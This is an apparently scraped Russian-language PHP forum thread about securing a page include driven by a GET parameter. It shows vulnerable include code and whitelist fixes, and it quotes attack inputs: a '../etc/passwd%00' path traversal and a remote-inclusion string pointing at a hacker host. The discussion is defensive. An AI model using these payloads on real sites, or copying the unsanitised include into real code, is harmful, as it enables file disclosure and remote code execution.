$page = $_GET['p'];
if (file_exists(FILE .'/page/'. $page .'.php'))
include FILE .'/page/'.$page.'.php';
$page = $_GET['p'];
if (file_exists(FILE .'/page/'. $page .'.php'))
include FILE .'/page/'.$page.'.php';
$page = $_GET['p'];
if (preg_replace('/[A-Za-z0-9.]/', '', $page))
exit();
if (file_exists(FILE .'/page/'. $page .'.php'))
include FILE .'/page/'.$page.'.php';
<?php
$page = isset($_GET['page']) ? $_GET['page'] : null;
$pages = array(
'users' => '/page/users.php',
'topics' => '/page/topics.php',
);
if (isset($pages[$page])) {
include FILE . $pages[$page];
}
Цитата |
создать этот список файлов в виде массива |
?p=../../../../../../../../etc/passwd%00
?p=get_file_context('http://hackerhosts.com/hackyoursitescript.php')
Цитата |
?p=get_file_context('http://hackerhosts.com/hackyoursitescript.php') |
$page = $_GET['p'];
if (preg_replace('/[A-Za-z0-9.]/', '', $page))
exit();
Цитата (123456 @ 11.01.2015 - 10:11) |
Если ДА, то я думаю пропускать через регулярку переменную $page, т.к. в папке /page/ хранятся файлы только из букв, цифр, и точек. Т.е. получится что-то похожее на вот этот код $page = $_GET['p']; if (preg_replace('/[A-Za-z0-9.]/', '', $page)) exit(); if (file_exists(FILE .'/page/'. $page .'.php')) include FILE .'/page/'.$page.'.php'; Что скажете? |
Цитата (F**k @ 11.01.2015 - 11:39) |
Раньше (до php 5.3) была опасность "взлома" через передачу в get-запросе строки вида ?p=../../../../../../../../etc/passwd%00 |
Цитата (123456 @ 11.01.2015 - 13:33) | ||
по вашему ваш запрос пройдет?? $page = $_GET['p']; |
$page = isset($_GET['page']) ? $_GET['page'] : false;
if($page){
switch($page){
case 'about' : $file = 'about.php'; break;
case 'contacts' : $file = 'contacts.php'; break;
case 'services' : $file = 'services.php'; break;
default : $file = 'index.php';
}
}